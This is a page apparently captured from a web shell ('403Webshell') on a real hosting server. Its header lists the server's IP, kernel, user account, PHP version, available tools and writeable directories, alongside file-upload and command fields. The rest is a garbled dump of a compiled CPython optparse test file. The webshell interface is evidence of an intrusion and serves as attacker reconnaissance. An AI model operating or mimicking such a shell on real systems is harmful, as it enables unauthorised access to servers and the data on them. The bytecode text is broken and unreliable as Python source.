403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_optparse.cpython-36.opt-1.pyc
3

�w2_��@s,ddlZddlZddlZddlZddlZddlmZddlmZddl	Z	ddl	m
Z
mZmZm
Z
mZmZmZmZmZmZmZddl	mZddl	mZeejd��ZGdd	�d	e�ZGd
d�de
�ZGdd
�d
ej�ZGdd�de�ZGdd�de�Z Gdd�de�Z!Gdd�de�Z"ddd^d`d�Z#dd�Z$Gdd�de�Z%Gdd�de�Z&Gd d!�d!e�Z'Gd"d#�d#e�Z(Gd$d%�d%e�Z)Gd&d'�d'e�Z*Gd(d)�d)e�Z+Gd*d+�d+e�Z,Gd,d-�d-e�Z-Gd.d/�d/e�Z.Gd0d1�d1e�Z/Gd2d3�d3e�Z0Gd4d5�d5e�Z1Gd6d7�d7e�Z2Gd8d9�d9e�Z3Gd:d;�d;e�Z4Gd<d=�d=e�Z5Gd>d?�d?e�Z6Gd@dA�dAe�Z7GdBdC�dCe�Z8GdDdE�dEe�Z9GdFdG�dGe�Z:GdHdI�dIe:�Z;GdJdK�dKe:�Z<GdLdM�dMe�Z=dNZ>dOZ?dPZ@dQZAdRZBGdSdT�dTe�ZCGdUdV�dVe�ZDGdWdX�dXe�ZEGdYdZ�dZej�ZFd[d\�ZGeHd]k�r(eG�dS)a�N)�StringIO)�support)�make_option�Option�TitledHelpFormatter�OptionParser�OptionGroup�SUPPRESS_USAGE�OptionError�OptionConflictError�BadOptionError�OptionValueError�Values)�
_match_abbrev)�
_parse_num�c@seZdZddd�Zdd�ZdS)�InterceptedErrorNcCs||_||_||_dS)N)�
error_message�exit_status�exit_message)�selfrrr�r�7/opt/alt/python36/lib64/python3.6/test/test_optparse.py�__init__szInterceptedError.__init__cCs|jp|jpdS)Nzintercepted error)rr)rrrr�__str__&szInterceptedError.__str__)NNN)�__name__�
__module__�__qualname__rrrrrrrs
rc@seZdZddd�Zdd�ZdS)�InterceptingOptionParserrNcCst||d��dS)N)rr)r)rZstatus�msgrrr�exit*szInterceptingOptionParser.exitcCst|d��dS)N)r)r)rrrrr�error-szInterceptingOptionParser.error)rN)rrrr r!rrrrr)s
rc@s>eZdZdd�Zdd�Zdd�Zdd	d
�Zdd�Zd
d�ZdS)�BaseTestcCsH|jj|�\}}t|�}|j||dt��|j||dt��||fS)a�Assert the options are what we expected when parsing arguments.

        Otherwise, fail with a nicely formatted message.

        Keyword arguments:
        args -- A list of arguments to parse with OptionParser.
        expected_opts -- The options expected.
        expected_positional_args -- The positional arguments expected.

        Returns the options and positional args for further testing.
        zJ
Options are %(optdict)s.
Should be %(expected_opts)s.
Args were %(args)s.zj
Positional arguments are %(positional_args)s.
Should be %(expected_positional_args)s.
Args were %(args)s.)�parser�
parse_args�vars�assertEqual�locals)r�argsZ
expected_optsZexpected_positional_args�optionsZpositional_argsZoptdictrrr�
assertParseOK2s
zBaseTest.assertParseOKcCs�|dkrf}|dkri}y|||�Wnf|k
r�}zJt|�}t|t�rh|j|j|�d|j|f�n|j||d||f�|Sd}~XnX|jdt��dS)a-
        Assert that the expected exception is raised when calling a
        function, and that the right error message is included with
        that exception.

        Arguments:
          func -- the function to call
          args -- positional arguments to `func`
          kwargs -- keyword arguments to `func`
          expected_exception -- exception that should be raised
          expected_message -- expected exception message (or pattern
            if a compiled regex object)

        Returns the exception raised for further testing.
        NzLexpected exception message pattern:
/%s/
actual exception message:
'''%s'''
zHexpected exception message:
'''%s'''
actual exception message:
'''%s'''
znexpected exception %(expected_exception)s not raised
called %(func)r
with args %(args)r
and kwargs %(kwargs)r
)	�str�
isinstance�retype�
assertTrue�search�patternr&�failr')r�funcr(�kwargsZexpected_exception�expected_message�errZactual_messagerrr�assertRaisesPs"
zBaseTest.assertRaisescCsPy|jj|�Wn0tk
r@}z|j|j|�WYdd}~XnX|jd�dS)z�
        Assert the parser fails with the expected message.  Caller
        must ensure that self.parser is an InterceptingOptionParser.
        Nzexpected parse failure)r#r$rr&r�assertFalse)r�cmdline_args�expected_outputr5rrr�assertParseFail�s
 zBaseTest.assertParseFailrNcCs�tj}y0zt�t_|jj|�Wdtjj�}|t_XWnztk
r�}z^|jt|t	�dt
|��||kr�|jd|d|d�|j|j
|�|j|j|�WYdd}~XnX|jd�dS)z7Assert the parser prints the expected output on stdout.Nz0expected output to be an ordinary string, not %rzexpected: 
'''
z'''
but got 
'''
z'''zexpected parser.exit())�sys�stdoutrr#r$�getvaluerr.r,r+�typer1r&rrr7)rr8r9Zexpected_statusZexpected_errorZsave_stdout�outputr5rrr�assertOutput�s$
 zBaseTest.assertOutputcGs|j||dt|�dS)z4Assert that TypeError is raised when executing func.N)r6�	TypeError)rr2r4r(rrr�assertTypeError�szBaseTest.assertTypeErrorcCs.|j�}||kr*|jd|d|d��dS)Nzhelp text failure; expected:
"z	"; got:
"z"
)Zformat_helpZfailureException)rr#�
expected_helpZactual_helprrr�
assertHelp�szBaseTest.assertHelp)rN)	rrrr*r6r:r@rBrDrrrrr"1s;
r"c@s�eZdZdd�Zgifdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/S)0�TestOptionCheckscCsttd�|_dS)N)�usage)rr	r#)rrrr�setUp�szTestOptionChecks.setUpcCs|jt||t|�dS)N)r6rr
)rr4r(r3rrr�assertOptionError�s
z"TestOptionChecks.assertOptionErrorcCs|jtd�dS)Nz+at least one option string must be supplied)rBr)rrrr�test_opt_string_empty�sz&TestOptionChecks.test_opt_string_emptycCs|jddg�dS)Nz?invalid option string 'b': must be at least two characters long�b)rH)rrrr�test_opt_string_too_short�sz*TestOptionChecks.test_opt_string_too_shortcCs|jddg�dS)NzOinvalid short option string '--': must be of the form -x, (x any non-dash char)z--)rH)rrrr�test_opt_string_short_invalid�sz.TestOptionChecks.test_opt_string_short_invalidcCs|jddg�dS)NzJinvalid long option string '---': must start with --, followed by non-dashz---)rH)rrrr�test_opt_string_long_invalid�sz-TestOptionChecks.test_opt_string_long_invalidcCs|jddgddd��dS)Nz.option -b: invalid keyword arguments: bar, fooz-b)�foo�bar)rH)rrrr�test_attr_invalid�sz"TestOptionChecks.test_attr_invalidcCs|jddgddi�dS)Nz option -b: invalid action: 'foo'z-b�actionrN)rH)rrrr�test_action_invalid�sz$TestOptionChecks.test_action_invalidcCs,|jddgddi�|jddgdti�dS)Nz%option -b: invalid option type: 'foo'z-br>rNz'option -b: invalid option type: 'tuple')rH�tuple)rrrr�test_type_invalid�sz"TestOptionChecks.test_type_invalidcCs|jddgddd��dS)Nz4option -b: must not supply a type for action 'count'z-b�count�int)rQr>)rH)rrrr�test_no_type_for_action�sz(TestOptionChecks.test_no_type_for_actioncCs|jdddgddi�dS)Nz@option -b/--bad: must supply a list of choices for type 'choice'z-bz--badr>�choice)rH)rrrr�test_no_choices_list�sz%TestOptionChecks.test_no_choices_listcCs*td�j}|jd|ddgddd��dS)NrzBoption -b/--bad: choices must be a list of strings ('%s' supplied)z-bz--badrXzbad choices)r>�choices)r>rrH)r�typenamerrr�test_bad_choices_lists
z&TestOptionChecks.test_bad_choices_listcCs|jddgddd��dS)Nz1option -b: must not supply choices for type 'int'z-brVZbad)r>rZ)rH)rrrr�test_no_choices_for_typesz)TestOptionChecks.test_no_choices_for_typecCs|jddgddd��dS)Nz:option -b: 'const' must not be supplied for action 'store'z-b�store�)rQ�const)rH)rrrr�test_no_const_for_action
sz)TestOptionChecks.test_no_const_for_actioncCs|jddgddd��dS)Nz:option -b: 'nargs' must not be supplied for action 'count'z-brU�)rQ�nargs)rH)rrrr�test_no_nargs_for_actionsz)TestOptionChecks.test_no_nargs_for_actioncCs|jddgddd��dS)Nz'option -b: callback not callable: 'foo'z-b�callbackrN)rQre)rH)rrrr�test_callback_not_callablesz+TestOptionChecks.test_callback_not_callablecCsdS)Nr)rrrr�dummyszTestOptionChecks.dummycCs|jddgd|jdd��dS)NzAoption -b: callback_args, if supplied, must be a tuple: not 'foo'z-brerN)rQre�
callback_args)rHrg)rrrr�test_callback_args_no_tuple s
z,TestOptionChecks.test_callback_args_no_tuplecCs|jddgd|jdd��dS)NzBoption -b: callback_kwargs, if supplied, must be a dict: not 'foo'z-brerN)rQre�callback_kwargs)rHrg)rrrr�test_callback_kwargs_no_dict(s
z-TestOptionChecks.test_callback_kwargs_no_dictcCs|jddgddd��dS)Nz<option -b: callback supplied ('foo') for non-callback optionz-br^rN)rQre)rH)rrrr�test_no_callback_for_action0sz,TestOptionChecks.test_no_callback_for_actioncCs|jddgddd��dS)Nz9option -b: callback_args supplied for non-callback optionz-br^rN)rQrh)rH)rrrr� test_no_callback_args_for_action6sz1TestOptionChecks.test_no_callback_args_for_actioncCs|jddgddd��dS)Nz;option -b: callback_kwargs supplied for non-callback optionz-br^rN)rQrj)rH)rrrr�"test_no_callback_kwargs_for_action<sz3TestOptionChecks.test_no_callback_kwargs_for_actioncCs2|jddg�|jdddg�|jdddg�dS)NzMinvalid long option string '-debug': must start with --, followed by non-dashz-debugzXoption -d: invalid long option string '-debug': must start with --, followed by non-dashz-dz--debug)rH)rrrr�test_no_single_dashBs
z$TestOptionChecks.test_no_single_dashN)rrrrGrHrIrKrLrMrPrRrTrWrYr\r]rardrfrgrirkrlrmrnrorrrrrE�s.rEc@sreZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Ze
jddd�dd��ZdS)�TestOptionParsercCs:t�|_|jjddddddd�|jjdd	d
ddd�dS)Nz-vz	--verbosez-nz--noisy�
store_true�verbose)rQ�destz-qz--quietz--silent�store_false)rr#�
add_option)rrrrrGSs

zTestOptionParser.setUpcCs|j|jjdd�dS)Nznot an Option instance: None)rBr#ru)rrrr�test_add_option_no_OptionZs
z*TestOptionParser.test_add_option_no_OptioncCs|j|jjddd�dS)Nzinvalid arguments)rBr#ru)rrrr�!test_add_option_invalid_arguments^s
z2TestOptionParser.test_add_option_invalid_argumentscCs\|jjd�}|j|t�|j|jddg�|j|jddg�|j|jd�|j|jd�dS)Nz-vz-nz	--verbosez--noisyrqrr)	r#�
get_optionZassertIsInstancerr&�_short_opts�
_long_optsrQrs)r�opt1rrr�test_get_optionbsz TestOptionParser.test_get_optioncCs\|jjd�}|jjd�}|jjd�}|jjd�}|j||koP|koP|kn�dS)Nz-vz	--verbosez-nz--noisy)r#rxr.)rr{Zopt2Zopt3Zopt4rrr�test_get_option_equalsjs
z'TestOptionParser.test_get_option_equalscCs(|j|jjd��|j|jjd��dS)Nz-vz	--verbose)r.r#�
has_option)rrrr�test_has_optionqsz TestOptionParser.test_has_optioncCs�|j|jjd�dk�|j|jjd�dk�|j|jjd�dk�|j|jjd�dk�|j|jjd��|j|jjd��|j|jjd��|j|jjd��|j|jjd��|j|jjd��dS)Nz-vz	--verbosez-nz--noisyz-qz--silent)r.r#rxr7r~)rrrr�assertTrueremovedusz"TestOptionParser.assertTrueremovedcCs|jjd�|j�dS)Nz-n)r#�
remove_optionr�)rrrr�test_remove_short_opt�sz&TestOptionParser.test_remove_short_optcCs|jjd�|j�dS)Nz	--verbose)r#r�r�)rrrr�test_remove_long_opt�sz%TestOptionParser.test_remove_long_optcCs|j|jjddtd�dS)NrNzno such option 'foo')rN)r6r#r��
ValueError)rrrr�test_remove_nonexistent�sz(TestOptionParser.test_remove_nonexistentzRelies on sys.getrefcountT)ZcpythoncCsHdg}tj|�}t�}|jdd�||_|j�~|j|tj|��dS)N�*z-az	--aaarggh)r;�getrefcountrru�	big_thingZdestroyr&)rr�Zrefcountr#rrr�test_refleak�s
zTestOptionParser.test_refleakN)rrrrGrvrwr|r}rr�r�r�r�rZimpl_detailr�rrrrrpRsrpc@seZdZdd�Zdd�ZdS)�TestOptionValuescCsdS)Nr)rrrrrG�szTestOptionValues.setUpcCs�t�}|jt|�i�|j|i�|j|ddi�|j|d�ddd�}t|d�}|jt|�|�|j||�|j|ddi�|j|i�|j|d�|j|g�dS)NrNrOrr�)rN�baz)�defaults)rr&r%ZassertNotEqual)r�values�dictrrr�test_basics�s

zTestOptionValues.test_basicsN)rrrrGr�rrrrr��sr�c@s$eZdZdd�Zdd�Zdd�ZdS)�TestTypeAliasescCst�|_dS)N)rr#)rrrrrG�szTestTypeAliases.setUpcCs*|jjddd�|j|jjd�jd�dS)Nz-sr+)r>�string)r#rur&rxr>)rrrr�test_str_aliases_string�sz'TestTypeAliases.test_str_aliases_stringcCsP|jjdtd�|j|jjd�jd�|jjdtd�|j|jjd�jd�dS)Nz-s)r>r�z-xrV)r#rur+r&rxr>rV)rrrr�test_type_object�sz TestTypeAliases.test_type_objectN)rrrrGr�r�rrrrr��sr�r_�<�)�s�m�h�dcCsby4|dj�rt|�St|dd��t|dSWn(ttfk
r\td||f��YnXdS)Nr_zoption %s: invalid duration: %r���r�r�)�isdigitrV�_time_unitsr��
IndexErrorr
)�option�opt�valuerrr�_check_duration�s r�c@s*eZdZejdZejej�Zeed<dS)�DurationOption�durationN)r�)rrrr�TYPES�copy�TYPE_CHECKERr�rrrrr��s
r�c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�TestDefaultValuescCs�t�|_|jjdddd�|jjdddd�|jjd	d
dd�|jjd
d
d�|jjddd�|jjd�|jjddd�ddddddd�|_dS)Nz-vz	--verboseT)�defaultz-qz--quietrr)rsz-nrV�%)r>r�z-m)r>z-srNz-tz-u)rr�nr�r��t�u)rr#ru�expected)rrrrrG�szTestDefaultValues.setUpcCs|j|jj�|j�dS)N)r&r#�get_default_valuesr�)rrrr�test_basic_defaults�sz%TestDefaultValues.test_basic_defaultscCs:|jjddd�|jjddd��|j|jj�|j�dS)Nr��d)r�r�i����i����)r#�set_defaultsr��updater&r�)rrrr�test_mixed_defaults_post�sz*TestDefaultValues.test_mixed_defaults_postcCs�|jjddd�|jjddd�|jjd�|jjddd��|j|jj�|j�|jjd�|jjddd�|jjddi�|j|jj�|j�dS)	NZbarf�blah)�x�yz-xZfrob)r�z-yr�)r#r�rur�r�r&r�r�)rrrr�test_mixed_defaults_pre�sz)TestDefaultValues.test_mixed_defaults_precCs�t|j_|jjdddd�|jjdddd�|jjdd�|jjdd	d
d��|j|jj�|j�|jj	d�|jjdddd��|j|jj�|j�dS)
Nz-dr�i,)r>r�z-eZ6m�42)r�ihr�)r��er�F)
r�r#�option_classrur�r�r�r&r�Zset_process_default_values)rrrr�test_process_default�sz&TestDefaultValues.test_process_defaultN)rrrrGr�r�r�r�rrrrr��s

r�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�TestProgNamez]
    Test that %prog expands to the right thing in usage, version,
    and help strings.
    cCs|j|j�|�dS)N)r&Z	get_usage)rr#�expected_usagerrr�assertUsageszTestProgName.assertUsagecCs|j|j�|�dS)N)r&Zget_version)rr#Zexpected_versionrrr�
assertVersionszTestProgName.assertVersionc
Csztjdd�}zVtjjddd�tjd<tddd�}d}|j||�|j|d	�|j||d
d�Wd|tjdd�<XdS)NrNrOzbaz.pyrz	%prog ...z	%prog 1.2)�versionzUsage: baz.py ...
z
baz.py 1.2�
zlOptions:
  --version   show program's version number and exit
  -h, --help  show this help message and exit
)	r;�argv�os�path�joinrr�r�rD)r�	save_argvr#r�rrr�test_default_prognamesz"TestProgName.test_default_prognamecCsRtdddd�}|jd�|jd�d}|j||�|j|d�|j||d	�dS)
NZthingyz	%prog 0.1z
%prog arg arg)�progr�rFz-hz	--versionzUsage: thingy arg arg
z
thingy 0.1r�)rr�r�r�rD)rr#r�rrr�test_custom_progname(s

z!TestProgName.test_custom_prognameN)rrr�__doc__r�r�r�r�rrrrr�
s
r�c@s\eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�ZdS)�TestExpandDefaultscCs4tdd�|_d|_d|_|jd|_|jd|_dS)N�test)r�zXUsage: test [options]

Options:
  -h, --help            show this help message and exit
z"read from FILE [default: %default]z:  -f FILE, --file=FILE  read from FILE [default: foo.txt]
z7  -f FILE, --file=FILE  read from FILE [default: none]
)rr#�help_prefix�	file_help�expected_help_file�expected_help_none)rrrrrG5szTestExpandDefaults.setUpcCs*|jjddd|jd�|j|j|j�dS)Nz-fz--filezfoo.txt)r��help)r#rur�rDr�)rrrr�test_option_defaultCs

z&TestExpandDefaults.test_option_defaultcCs6|jjdd|jd�|jjdd�|j|j|j�dS)Nz-fz--file)r��filezfoo.txt)r#rur��set_defaultrDr�)rrrr�test_parser_default_1Is

z(TestExpandDefaults.test_parser_default_1cCs6|jjdd|jd�|jjdd�|j|j|j�dS)Nz-fz--file)r�zfoo.txt)r�)r#rur�r�rDr�)rrrr�test_parser_default_2Os

z(TestExpandDefaults.test_parser_default_2cCs(|jjdd|jd�|j|j|j�dS)Nz-fz--file)r�)r#rur�rDr�)rrrr�test_no_defaultUs

z"TestExpandDefaults.test_no_defaultcCs*|jjddd|jd�|j|j|j�dS)Nz-fz--file)r�r�)r#rur�rDr�)rrrr�test_default_none_1Zs

z&TestExpandDefaults.test_default_none_1cCs6|jjdd|jd�|jjdd�|j|j|j�dS)Nz-fz--file)r�)r�)r#rur�r�rDr�)rrrr�test_default_none_2`s

z&TestExpandDefaults.test_default_none_2cCs<|jjdddd�|jjdd�|jd}|j|j|�dS)Nz-pz--probz1blow up with probability PROB [default: %default])r�g��Q���?)ZprobzF  -p PROB, --prob=PROB  blow up with probability PROB [default: 0.43]
)r#rur�r�rD)rrCrrr�test_float_defaultfsz%TestExpandDefaults.test_float_defaultcCs2|jjddddd�d|jj_|j|j|j�dS)Nz-fz--filezfoo.txtz#read from FILE [default: *DEFAULT*])r�r�z	*DEFAULT*)r#ru�	formatter�default_tagrDr�)rrrr�test_alt_expandos


z"TestExpandDefaults.test_alt_expandcCs:|jjddddd�d|jj_|jd}|j|j|�dS)Nz-fz--filezfoo.txtzread from %default file)r�r�z0  -f FILE, --file=FILE  read from %default file
)r#rur�r�r�rD)rrCrrr�test_no_expandvs

z!TestExpandDefaults.test_no_expandN)
rrrrGr�r�r�r�r�r�r�r�r�rrrrr�4s	r�c@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7S)8�TestStandardcCs8tddd�tddddd�td	d
d�g}tt|d�|_dS)
Nz-ar�)r>z-bz--boorV�boo)r>rsz--foo�append)rQ)rF�option_list)rrr	r#)rr)rrrrG�s

zTestStandard.setUpcCs|jdgd�dS)Nz-az-a option requires 1 argument)r:)rrrr�test_required_value�sz TestStandard.test_required_valuecCs|jddgd�dS)Nz-bZ5xz&option -b: invalid integer value: '5x')r:)rrrr�test_invalid_integer�s
z!TestStandard.test_invalid_integercCs|jdgd�dS)Nz--boo13zno such option: --boo13)r:)rrrr�test_no_such_option�sz TestStandard.test_no_such_optioncCs|jdgd�dS)Nz--boo=x5z)option --boo: invalid integer value: 'x5')r:)rrrr�test_long_invalid_integer�sz&TestStandard.test_long_invalid_integercCs|jgdddd�g�dS)N)�ar�rN)r*)rrrr�
test_empty�szTestStandard.test_emptycCs&|jddddgddddgd�g�dS)Nz-arz
--foo=blahz--foo=r�)r�r�rN)r*)rrrr�"test_shortopt_empty_longopt_append�sz/TestStandard.test_shortopt_empty_longopt_appendcCs*|jdddddgdddddgd�g�dS)Nz--foorOrz--foo=xr�)r�r�rN)r*)rrrr�test_long_option_append�s
z$TestStandard.test_long_option_appendcCs|jdgdddd�g�dS)Nz-abcZbc)r�r�rN)r*)rrrr�test_option_argument_joined�s
z(TestStandard.test_option_argument_joinedcCs|jddgdddd�g�dS)Nz-aZ34)r�r�rN)r*)rrrr�test_option_argument_split�s

z'TestStandard.test_option_argument_splitcCs|jdgdddd�g�dS)Nz-b34�")r�r�rN)r*)rrrr�#test_option_argument_joined_integer�s
z0TestStandard.test_option_argument_joined_integercCs|jddgdddd�g�dS)Nz-bz-5�)r�r�rN���)r*)rrrr�+test_option_argument_split_negative_integer�s

z8TestStandard.test_option_argument_split_negative_integercCs|jdgdddd�g�dS)Nz--boo=13�
)r�r�rN)r*)rrrr� test_long_option_argument_joined�s
z-TestStandard.test_long_option_argument_joinedcCs|jddgdddd�g�dS)Nz--booZ111�o)r�r�rN)r*)rrrr�test_long_option_argument_split�s

z,TestStandard.test_long_option_argument_splitcCs |jddgdddgd�g�dS)Nz	--foo=barz-axyz�xyzrO)r�r�rN)r*)rrrr�test_long_option_short_option�s
z*TestStandard.test_long_option_short_optioncCs |jddgdddgd�g�dS)Nz--f=barz-axyzr�rO)r�r�rN)r*)rrrr�test_abbrev_long_option�s
z$TestStandard.test_abbrev_long_optioncCs2|jjg�\}}|jj�}|jt|�t|��dS)N)r#r$r�r&r%)rr)r(r�rrr�
test_defaults�s
zTestStandard.test_defaultscCs&|jjddddd�|jdgd�dS)Nz--fozr^r�rN)rQr>rsz--f=barz%ambiguous option: --f (--foo, --foz?))r#rur:)rrrr�test_ambiguous_option�s

z"TestStandard.test_ambiguous_optioncCs$|jddddgdddgd�g�dS)Nz-ar�z--foorO)r�r�rN)r*)rrrr� test_short_and_long_option_split�sz-TestStandard.test_short_and_long_option_splitcCs(|jdddddgddddgd�g�dS)	Nz	--foo=barz-bZ123z--foor��{rO)r�r�rN)r*)rrrr�*test_short_option_split_long_option_append�sz7TestStandard.test_short_option_split_long_option_appendcCs"|jdddgdddd�dg�dS)Nz-arNrO)r�r�rN)r*)rrrr�*test_short_option_split_one_positional_arg�s
z7TestStandard.test_short_option_split_one_positional_argcCsF|jddddgdddd�ddg�|jddddgdddgd�g�dS)Nz-az--rNrO)r�r�rNz--foo)r*)rrrr�$test_short_option_consumes_separator�s

z1TestStandard.test_short_option_consumes_separatorcCs(|jddddgdddd�ddg�fdS)Nz-abz--z--foorOrJ)r�r�rN)r*)rrrr�&test_short_option_joined_and_separator�s
z3TestStandard.test_short_option_joined_and_separatorcCs&|jddddgdddgd�dg�dS)Nz-ab�-z--foorOrJ)r�r�rN)r*)rrrr�"test_hyphen_becomes_positional_arg�sz/TestStandard.test_hyphen_becomes_positional_argcCs*|jddddddgddddgd	�g�dS)
Nz-b3z-b�5z	--foo=barz--foor�r�rO)r�r�rN)r*)rrrr�test_no_append_versus_append�sz)TestStandard.test_no_append_versus_appendcCs|jddgdddd�g�dS)Nz-az-b3)r�r�rN)r*)rrrr�&test_option_consumes_optionlike_strings

z3TestStandard.test_option_consumes_optionlike_stringcCs"|jjddd�|jdgd�dS)Nz-trq)rQz-testzno such option: -e)r#rur:)rrrr�#test_combined_single_invalid_optionsz0TestStandard.test_combined_single_invalid_optionN)rrrrGr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrrr��s6r�c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�TestBoolcCs2tdddddd�tddd	dd
�g}t|d�|_dS)Nz-vz	--verboserqrrr)rQrsr�z-qz--quietrt)rQrs)r�)rrr#)rr)rrrrG
s
zTestBool.setUpcCs|jgddig�dS)Nrrr)r*)rrrr�test_bool_defaultszTestBool.test_bool_defaultcCs,|jdgddig�\}}|j|jdk�dS)Nz-qrrrF)r*r.rr)rr)r(rrr�test_bool_falses
zTestBool.test_bool_falsecCs,|jdgddig�\}}|j|jdk�dS)Nz-vrrr_T)r*r.rr)rr)r(rrr�test_bool_true$s
zTestBool.test_bool_truecCs|jdddgddig�dS)Nz-qvqz-qz-vrrr_)r*)rrrr�test_bool_flicker_on_and_off*sz%TestBool.test_bool_flicker_on_and_offN)rrrrGrr	r
rrrrrrs
rc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�
TestChoicecCs,ttd�|_|jjdddddddgd�dS)	N)rFz-cr^rX�oneZtwoZthree)rQr>rsrZ)rr	r#ru)rrrrrG0szTestChoice.setUpcCs|jdddgddidg�dS)Nz-cr
r�rX)r*)rrrr�test_valid_choice5szTestChoice.test_valid_choicecCs|jdddgd�dS)Nz-c�four�abczEoption -c: invalid choice: 'four' (choose from 'one', 'two', 'three'))r:)rrrr�test_invalid_choice:szTestChoice.test_invalid_choicecCsD|jjdddddgd�|jjd�}|j|jd�|j|jd�dS)	Nz-dz	--defaultrZfiveZsix)rZrXr^)r#rurxr&r>rQ)rr�rrr�test_add_choice_option?s

z!TestChoice.test_add_choice_optionN)rrrrGrrrrrrrr/src@s|eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�	TestCountcCsVttd�|_tdddd�|_|jj|j�|jjdddd�|jjd	d
dddd
�dS)N)rFz-vrUrr)rQrsz	--verboserV)r>rsz-qz--quiet�store_constr)rQrsr`)rr	r#r�v_optru)rrrrrGGs
zTestCount.setUpcCs|jgddig�dS)Nrr)r*)rrrrr�OszTestCount.test_emptycCs|jdgddig�dS)Nz-vrrr_)r*)rrrr�test_count_oneRszTestCount.test_count_onecCs|jdgddig�dS)Nz-vvvrr�)r*)rrrr�test_count_threeUszTestCount.test_count_threecCs|jdddgddig�dS)Nz-vrrr)r*)rrrr�test_count_three_apartXsz TestCount.test_count_three_apartcCs|jddgddig�dS)Nz-vvvz--verbose=2rrrb)r*)rrrr�test_count_override_amount[sz$TestCount.test_count_override_amountcCs|jdddgddig�dS)Nz-vvvz--verbose=2z-qrrr)r*)rrrr�test_count_override_quiet^sz#TestCount.test_count_override_quietcCs|jddddgddig�dS)Nz-vvvz--verbose=2z-qz-vrrr_)r*)rrrr�test_count_overridingaszTestCount.test_count_overridingcCs|jdddgddidg�dS)Nz--quiet�3z-vrrr_)r*)rrrr�test_count_interspersed_argsesz&TestCount.test_count_interspersed_argscCs*|jj�|jdddgddiddg�dS)Nz--quietrz-vrrr)r#Zdisable_interspersed_argsr*)rrrr�test_count_no_interspersed_argsjs
z)TestCount.test_count_no_interspersed_argscCs|jddgd�dS)Nz-q3z-vzno such option: -3)r:)rrrr�test_count_no_such_optionpsz#TestCount.test_count_no_such_optioncCs|jddgd�dS)Nz	--quiet=3z-vz$--quiet option does not take a value)r:)rrrr�test_count_option_no_valuess
z$TestCount.test_count_option_no_valuecCs$|jjdd�|jgddig�dS)Nrrr)r#r�r*)rrrr�test_count_with_defaultwsz!TestCount.test_count_with_defaultcCs,|jjdd�|jddddgddig�dS)Nrrrz-vvvz--verbose=2z-qz-vr_)r#r�r*)rrrr�test_count_overriding_default{sz'TestCount.test_count_overriding_defaultN)rrrrGr�rrrrrrrrr r!r"r#rrrrrFsrc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�TestMultipleArgscCs(ttd�|_|jjddddddd�dS)	N)rFz-pz--pointr^r�float�point)rQrcr>rs)rr	r#ru)rrrrrG�s
zTestMultipleArgs.setUpcCs&|jddddddgddiddg�dS)
NrNz-p�1z2.5z-4.3r�r&��?�@g333333@�333333�)r(r)r*)r*)rrrr�test_nargs_with_positional_args�sz0TestMultipleArgs.test_nargs_with_positional_argscCs"|jdddddgddidg�dS)
Nz--pointz-1z2.5z-0r�r&g�?�@g����)r-r,r.)r*)rrrr�test_nargs_long_opt�sz$TestMultipleArgs.test_nargs_long_optcCs|jddddgd�dS)Nz-pz1.0Z2xz3.5z-option -p: invalid floating-point value: '2x')r:)rrrr�test_nargs_invalid_float_value�sz/TestMultipleArgs.test_nargs_invalid_float_valuecCs|jdddgd�dS)Nz--pointz1.0z3.5z#--point option requires 3 arguments)r:)rrrr�test_nargs_required_values�sz+TestMultipleArgs.test_nargs_required_valuesN)rrrrGr+r/r0r1rrrrr$�s
r$c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�TestMultipleArgsAppendcCsVttd�|_|jjddddddd�|jjd	d
ddd
dd�|jjdddddd�dS)N)rFz-pz--pointr^rr%r&)rQrcr>rsz-fz--foor�rbrVrNz-zz--zeroZappend_constr)rQrsr`)rr)rr	r#ru)rrrrrG�s

zTestMultipleArgsAppend.setUpcCs,|jdddddddgdddgd�dg�dS)Nz-f�4z-3r�z--foor'Z666�rr_�)r&rN���)r4r6)r_r5)r*)rrrr�test_nargs_append�sz(TestMultipleArgsAppend.test_nargs_appendcCs|jdgd�dS)Nz-f4,3z-f option requires 2 arguments)r:)rrrr�!test_nargs_append_required_values�sz8TestMultipleArgsAppend.test_nargs_append_required_valuescCs|jddgddgd�g�dS)Nz--foo=3r3rr4)r&rN)rr4)r*)rrrr�test_nargs_append_simple�s

z/TestMultipleArgsAppend.test_nargs_append_simplecCs(|jdddddgdd
ddgd	�g�dS)
Nz--zeroz--foorr3z-zrrr4)r&rN)rr)rr4)rr)r*)rrrr�test_nargs_append_const�sz.TestMultipleArgsAppend.test_nargs_append_constN)rrrrGr7r8r9r:rrrrr2�s
	r2c@seZdZdd�Zdd�ZdS)�TestVersionc
